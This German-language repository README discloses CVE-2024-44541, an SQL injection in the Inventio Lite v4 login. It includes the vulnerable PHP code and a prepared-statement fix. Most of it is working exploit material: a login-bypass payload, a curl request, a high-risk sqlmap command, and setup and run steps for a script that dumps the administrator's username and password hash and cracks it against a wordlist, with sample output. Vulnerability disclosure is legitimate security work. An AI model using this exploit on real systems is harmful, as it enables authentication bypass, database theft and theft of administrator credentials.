
Dieses Repository beschreibt eine SQL-Injection-Schwachstelle in Inventio Lite v4, einschließlich Exploit-Schritten und eines Python-Skripts zur Automatisierung des Angriffs. Es enthält Informationen zum anfälligen Code, empfohlene Fixes und dazu, wie administrative Anmeldeinformationen extrahiert und entschlüsselt werden können.
Inventio Lite v4 ist im Endpunkt /action=processlogin anfällig für SQL-Injection (SQLi). Diese Schwachstelle ermöglicht es Angreifern, beliebige SQL-Abfragen über den Parameter username in POST-Anfragen einzuschleusen, was potenziell zu unbefugtem Zugriff und Datenextraktion führen kann.
Der verwundbare Code lautet wie folgt:
if(!isset($_SESSION["user_id"])) {
$user = $_POST['username'];
$pass = sha1(md5($_POST['password']));
$base = new Database();
$con = $base->connect();
$sql = "select * from user where (email= \"".$user."\" or username= \"".$user."\") and password= \"".$pass."\" and is_active=1";
$query = $con->query($sql);
$found = false;
$userid = null;
while($r = $query->fetch_array()){
$found = true;
$userid = $r['id'];
}
}
Screenshot des verwundbaren Codes:

Das Problem wird durch die Verwendung von Prepared Statements behoben:
if(!isset($_SESSION["user_id"])) {
$user = $_POST['username'];
$pass = sha1(md5($_POST['password']));
$base = new Database();
$con = $base->connect();
// Prepare the query
$stmt = $con->prepare("
SELECT * FROM user
WHERE (email = ? OR username = ?)
AND password = ?
AND is_active = 1
");
// Bind parameters
$stmt->bind_param("sss", $user, $user, $pass);
// Execute query
$stmt->execute();
// Get result
$result = $stmt->get_result();
$found = false;
$userid = null;
while($r = $result->fetch_assoc()){
$found = true;
$userid = $r['id'];
}
// Close statement
$stmt->close();
}
Um diese Schwachstelle auszunutzen, verwenden Sie den folgenden Payload:
user -> ") or 1=1-- -
pass -> blablalba
Beispiel des Angriffs mit curl:
$ curl -X POST http://192.168.1.51/inventio-lite/?action=processlogin -d 'username=%22%29%20or%201%3D1--%20-&password=blablabla' -v && echo ""
$ sqlmap -u http://192.168.1.51/inventio-lite/?action=processlogin --data="username=*&password=*" --level 5 --risk 3 --dbms=mysql --dbs --prefix='")' --batch --dbs
Um die Ausnutzung und die Extraktion des Administrator-Benutzernamens und des Passwort-Hashes zu automatisieren, können Sie das mitgelieferte Python-Skript sqli.py verwenden.
Sie können dieses Repository klonen:
git clone https://github.com/pointedsec/CVE-2024-44541
Installieren Sie dann die Abhängigkeiten mit pip:
pip install -r requirements.txt
Passen Sie die folgenden Variablen im Skript bei Bedarf an:
BASE_URL = "http://192.168.1.51/inventio-lite/"PWD_DIC_PATH = "/usr/share/wordlists/rockyou.txt"Führen Sie das Skript anschließend aus. Es extrahiert den Administrator-Benutzernamen und den Hash und versucht anschließend, den Hash mit dem Format SHA1(MD5(password)) zu knacken.
Beispielausgabe:
$ python3 sqli.py
[*] Checking if target is vulnerable
[+] Target Vulnerable!
[*] Dumping Administrator username...
[◤] Extracting Username: -> [email protected]
[/] Extracting Admin Password Hash: Final Admin Hash: 90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad
[+] Password Decrypted! -> [email protected]:admin
[*] Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations
Vertraulichkeit: Angreifer können die gesamte Datenbank auslesen und so vertrauliche Daten wie Benutzeranmeldedaten und persönliche Informationen offenlegen.
Integrität: Angreifer können die Authentifizierung umgehen und administrativen Zugriff erlangen, wodurch sie Daten ändern oder löschen können.
Dieser Schwachstellenbericht wurde von Andrés Del Cerro identifiziert. Für weitere Details kontaktieren Sie mich bitte unter [email protected]